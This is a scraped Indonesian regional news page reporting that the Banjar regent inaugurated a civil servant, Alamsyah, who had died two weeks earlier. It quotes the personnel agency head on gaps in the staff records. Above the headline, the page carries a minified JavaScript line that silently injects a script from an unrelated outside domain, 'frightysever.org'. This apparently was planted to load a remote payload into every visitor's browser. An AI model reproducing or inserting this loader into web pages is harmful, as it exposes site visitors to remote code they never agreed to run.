(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Data Belum Update, Bupati Banjar Lantik ASN yang Sudah Meninggal Dunia


KANALKALIMANTAN.COM, MARTAPURA – Ada yang menarik saat pelantikan 158 pejabat eselon 3 dan 4, di lingkup Kabupaten Banjar, Rabu (29/9/2021) lalu. Ternyata, salah satu ASN yang masuk daftar pejabat yang dilantik oleh Bupati Banjar H Saidi Mansyur, sudah meninggal dunia dua pekan lalu.

Almarhum yang dilantik adalah Alamsyah (44), yang sebelumnya menjabat sebagai Kepala Seksi Pemberdayaan Masyarakat Pemerintah Kelurahan Sungai Lulut. Belum lama tadi Alamsyah kembali dilantik menjadi Kepala Seksi Irigasi dan Rawa Dinas PUPR di Kabupaten Banjar.

Pelantikan ini mengacu kepada surat Keputusan Bupati Banjar nomor 8 : 21- 010 – MPI / BKDPSDM serta Peraturan Pemerintah Nomor 17 Tahun 2020 tentang perubahan dan peraturan pemerintah nomor 11 tahun 2017 tentang Manajemen Pegawai Negeri Sipil yang merupakan tindak lanjut dari Undang Undang ASN.

Menanggapi hal ini berdasarkan video yang diterima kanalkalimantan.com berdasarkan hasil wawancara dengan Kepala Badan Kepegawaian Daerah dan Pengembangan Sumber Daya Manusia (BKDPSDM) Kabupaten Banjar Rakhmat Dhani, yang bersangkutan belum mengetahui pegawai tersebut telah meninggal dunia dua minggu lalu.

 

 

Baca juga : Novel Baswedan: Pimpinan KPK Kok Malah Takut Sama Orang Berantas Korupsi, Lucu Kan?

“Kami terus terang belum menerima laporan mengenai adanya pegawai yang meninggal dunia, nanti kami cek dulu mungkin jika memang meninggal dunia SK-nya akan kita lakukan perbaikan,” akunya.

Ditambahkan Dhani terkait ASN yang biasanya diinformasikan meninggal dunia, pihaknya sudah membentuk grup dari tingkat kelurahan sehingga dapat diupdate di data Sistem Informasi Kepegawaian (SIMPEG) Kabupaten Banjar.

“Seharusnya jika ada yang meninggal dunia biasa kita update di data kepegawaian di Simpeg itu tadi, sampai sekarang kita masih belum ada laporan, baru tau juga saya dari pertanyaan media ini,” tutupnya.

Di antara 158 orang pejabat eselon 3 dan 4 yang dilantik, juga ada mantan terpidana pelanggaran netralitas ASN pada Pilbup Banjar 2020. ASN yang divonis bersalah itu dilantik menjadi sekretaris di salah satu SKPD. (kanalkalimantan.com/kk)

Reporter : kk
Editor : cell


Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

11 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

11 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

12 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

15 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

16 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

17 jam ago

This website uses cookies.